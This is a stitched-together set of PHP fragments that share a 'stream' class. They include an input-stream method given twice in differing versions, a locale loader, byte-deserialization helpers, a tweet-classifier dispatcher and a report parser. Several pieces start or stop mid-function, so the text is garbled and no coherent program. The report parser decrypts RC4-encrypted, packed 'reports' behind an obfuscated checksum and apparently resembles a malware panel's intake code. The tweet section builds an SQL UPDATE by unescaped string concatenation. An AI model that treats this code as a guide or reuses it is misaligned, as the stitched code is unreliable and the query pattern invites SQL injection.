/**
* Return the full, raw, input stream. Used for things like SendMail request
* where we don't have wbxml to parse. The calling code is responsible for
* closing the stream.
*
* @return resource
*/
public function getFullInputStream()
{
// Ensure the buffer was created
$this->_getTempStream();
$this->_buffer->add($this->_stream);
$this->_buffer->rewind();
return $this->_buffer->stream;
}
/**
* Return the full, raw, input stream. Used for things like SendMail request
* where we don't have wbxml to parse. The calling code is responsible for
* closing the stream.
*
* @return resource
*/
public function getFullInputStream()
{
// Ensure the buffer was created
$this->_getTempStream();
// Need to read the stream into memeory since php://input isn't
// always seekable (Bug: 13160);
$this->_buffer->add($this->_stream->getString());
$this->_buffer->rewind();
return $this->_buffer->stream;
}
function locale($locale)
{
global $gettext;
if (!defined('TM_LOCALE')) {
putenv('LC_ALL=' . $locale);
setlocale(LC_ALL, $locale);
require_once TM_LIB_DIR . 'third_party' . DS . 'gettext' . DS . 'gettext.php';
require_once TM_LIB_DIR . 'stream.php';
$mofile = TM_LOCALE_DIR . $locale . DS . 'LC_MESSAGES' . DS . 'messages.mo';
$stream = new stream();
if ($stream->open($mofile)) {
$gettext = new gettext_reader($stream);
define('TM_LOCALE', $locale);
} else {
return false;
}
}
return TM_LOCALE;
}
function unicode_to_utf8($string)
{
$log = new debug_log();
$stream = new stream($string, $log);
$r = '';
while ($stream->state && $stream->pos < $stream->datalen) {
$r .= unicode_char_to_utf8($stream->read_word());
}
if (!$stream->state) {
return false;
}
return $r;
}
/**
* @en Converts a string to uchar (uint8)
* @ru Преобразует строку в беззнаковый символ (uint8)
*
* @param string $string
*
* @return int
*/
public static function to_uchar($string)
{
return stream::to_uint8($string);
# uint8 <=> uchar (1 byte required)
}
protected function process_report_data($data, $report_password)
{
if (strlen($data) == 0) {
$this->log->add("ERR_NO_REPORT_DATA");
return false;
} else {
if (strlen($data) < 12) {
$this->log->add("ERR_INVALID_REPORT_DATALEN");
return false;
} else {
if (strlen($data) > REPORT_LEN_LIMIT) {
$this->log->add("ERR_CANNOT_PROCESS_REPORT_MEMLIMIT");
return false;
} elseif (strlen($data) == 12) {
// empty report
return true;
}
}
}
// extract crc32 checksum from datastream
$crc_chk = data_int32(substr($data, strlen($data) - 4));
// remove crc32 checksum from the data stream
$data = substr($data, 0, -4);
// check report validness
$crc_chk = obf_crc32($crc_chk);
if ((int) crc32($data) != (int) $crc_chk) {
$this->log->add("ERR_REPORT_CRC_MISMATCH");
return false;
}
$stream = new stream($data, $this->log);
$report_id = $stream->read_strlen(8);
if ($report_id == REPORT_CRYPTED_HEADER && $stream->state) {
$decrypted_data = rc4Decrypt($report_password, substr($data, 8));
// there's another crc32 checksum available to verify the decryption process
// extract crc32 checksum from decrypted datastream
$crc_chk = data_int32(substr($decrypted_data, strlen($decrypted_data) - 4));
// remove crc32 checksum from the data stream
$decrypted_data = substr($decrypted_data, 0, -4);
// check report validness
$crc_chk = obf_crc32($crc_chk);
if ((int) crc32($decrypted_data) != (int) $crc_chk) {
$this->log->add("ERR_REPORT_WRONG_PASSWORD");
return false;
}
// update current stream with decrypted data
$stream = new stream($decrypted_data, $this->log);
$report_id = $stream->read_strlen(8);
}
if ($report_id == REPORT_PACKED_HEADER && $stream->state) {
// unpack stream data
$unpacked_len = $stream->read_dword();
$packed_data = $stream->read_str();
if ($unpacked_len > REPORT_LEN_LIMIT || strlen($packed_data) > REPORT_LEN_LIMIT) {
$this->log->add("ERR_UNPACK_LEN_LIMIT");
return false;
}
if (!strlen($packed_data)) {
$this->log->add("ERR_UNPACK_NULL");
return false;
}
$unpacked_data = "";
if ($stream->state && strlen($packed_data)) {
$unpacked_data = $this->unpack_stream($packed_data, $unpacked_len);
}
if (!strlen($unpacked_data)) {
$this->log->add("ERR_UNPACK_FAIL");
return false;
}
if (strlen($unpacked_data) > REPORT_LEN_LIMIT) {
$this->log->add("ERR_UNPACK_LEN_LIMIT");
return false;
}
$stream = new stream($unpacked_data, $this->log);
$report_id = $stream->read_strlen(8);
}
if ($report_id != REPORT_HEADER || !$stream->state) {
$this->log->add("ERR_INVALID_REPORT_HEADER");
return false;
}
$version_id = ztrim($stream->read_strlen(8));
if (!$stream->state) {
$this->log->add("ERR_CANNOT_READ_VERSION_ID");
return false;
}
if ($version_id != REPORT_VERSION) {
$this->log->add("ERR_INVALID_VERSION_ID");
return false;
}
$this->report_version_id = $version_id;
while ($stream->state && $stream->pos < $stream->datalen) {
if (!$this->import_module($stream, $this->log)) {
$this->log->add("ERR_CANNOT_IMPORT_MODULE");
return false;
}
}
return $stream->pos == $stream->datalen && $stream->state;
}
if ($depth >= 30) {
return false;
}
/* step through inArray */
foreach ($inArray as $key => $val) {
if (is_array($val)) {
/* recurse on array elements */
$newArray[$key] = utf8json($val);
} else {
/* encode string values */
$newArray[$key] = utf8_encode($val);
}
}
/* return utf8 encoded array */
return $newArray;
}
switch ($action) {
case "vote":
include_once "stream.php";
$main_class = new stream(1);
$main_class->add_vote($json_data);
break;
case "get_tweets":
include_once "classify.php";
include_once "stream.php";
$main_class = new stream(1);
$main_class->get_tweets($json_data);
break;
default:
break;
}
/**
* @en Deserialize following bytes as string
* @ru Десериализовать строку из потока
*
* @param string $terminate_char
*
* @return string
*/
public function string($terminate_char = "")
{
$string = null;
$length = stream::size($this->stream);
while ($this->stream[$this->offset] != $terminate_char and $this->offset < $length) {
$string .= $this->stream[$this->offset];
$this->offset_inc(RUDE_TYPE_SIZE_BYTE);
}
$this->offset_inc(RUDE_TYPE_SIZE_BYTE);
# skip the "\0" character
return $string;
}
/**
* Write a message to the log.
*
* @param array $event event data
* @return void
*/
protected function _write($event)
{
$line = $this->_formatter->format($event);
echo $line;
}
$main_class->classify_tweet(urldecode($tweet));
break;
case "classify":
include_once "classify.php";
$main_class = new classify();
$main_class->add_tweets();
$db->query("SELECT * FROM `init_tweets`");
while ($tweet = $db->fetch_row()) {
$db->query("UPDATE `init_tweets` SET `guess`='" . $main_class->classify_tweet($tweet['tweet']) . "' WHERE `id`=" . $tweet['id'], true);
}
break;
default:
$page = "tweet_display";
include_once "classify.php";
include_once "stream.php";
$main_class = new stream();
$main_class->get_tweets();
break;
}
// include global js
if (is_array($config['global_js']) && sizeof($config['global_js']) != 0) {
foreach ($config['global_js'] as $js_includes) {
$tmpl_header->assign('include_path', $js_includes);
$tmpl_header->parse('header.javascript_includes');
}
}
// include page specific js
if (is_array($main_class->js_includes) && sizeof($main_class->js_includes) != 0) {
foreach ($main_class->js_includes as $js_includes) {
$tmpl_header->assign('include_path', $js_includes);
$tmpl_header->parse('header.javascript_includes');
